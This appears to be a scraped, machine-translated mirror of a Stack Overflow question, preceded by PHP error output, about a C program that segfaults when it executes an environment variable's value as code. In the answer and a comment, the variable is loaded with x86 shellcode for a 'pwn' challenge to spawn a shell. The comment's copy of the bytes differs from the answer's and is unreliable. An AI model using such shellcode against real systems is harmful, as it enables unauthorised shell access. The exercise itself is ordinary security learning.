Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/67.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/linux/23.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 尝试执行环境变量处的值时出现分段错误_C_Linux_Shell_Terminal - Fatal编程技术网

C 尝试执行环境变量处的值时出现分段错误

C 尝试执行环境变量处的值时出现分段错误,c,linux,shell,terminal,C,Linux,Shell,Terminal,嘿,所以我想为初学者解决一个问题 这就是我试图运行的代码 #include <stdio.h> #include <stdlib.h> int main(){ int (*func)(); func = getenv("MYENV"); func(); return 0; } #包括 #包括 int main(){ int(*func)(); func=getenv(“MY

嘿,所以我想为初学者解决一个问题

这就是我试图运行的代码

#include <stdio.h>
#include <stdlib.h>

int main(){
            int (*func)();
            func = getenv("MYENV");
            func();
            return 0;
}
#包括
#包括
int main(){
int(*func)();
func=getenv(“MYENV”);
func();
返回0;
}
我创建了一个MYENV环境,如下所示:

export MYENV=ls

但是在运行代码时,它抛出一个
分段错误(内核转储)
。我不明白为什么

func函数基本上是调用环境变量,其值是我设置的一个简单命令。为什么它会抛出一个错误


我对linux和shell非常陌生,因此如果这太幼稚,我很抱歉。

在C中,如果要运行系统命令,必须使用
system
函数(或其中一个函数,但这更复杂):

#包括
#包括
int main(){
char*cmd=getenv(“MYENV”);
系统(cmd);
返回0;
}
如果希望运行任意代码,可以将shell代码注入其中:

export MYENV=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'

您可以了解更多信息。

实际上这不是我的代码。我不能更改代码。哦,这是一个pwn挑战。在这种情况下,您希望将一些外壳代码加载到环境变量中以获得外壳,如
export MYENV=$'\x31\xc0\x50\x68\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x80\x0b\xcd\x80'
。了解更多。嘿,这正是我想要的。你能在答案中编辑它,让我接受吗?我想你需要做一些阅读,了解C代码是如何翻译成汇编代码,然后组装成二进制机器代码的。然后你就会明白为什么告诉CPU执行字节
ls
永远不会起作用。@JonathonReinhart你能给我指一些资源吗?提前感谢。@aroma:
getenv
返回一个指针,指向保存环境变量的字符串,在您的例子中是一个字节序列
'l','s',0
。将此指针存储在变量
func
中。然后执行一个
func()
,它基本上告诉C使用地址作为一组要执行的机器指令。幸运的是,地址确实指向有意义的机器代码,因此你得到了一个SIGSEGV.hey@user1934428我有点理解你的意思,但是
地址幸运的指向了有意义的机器代码。你是说
@aroma:谢谢你,我的手指比我的大脑快。当然,我的意思是“不”。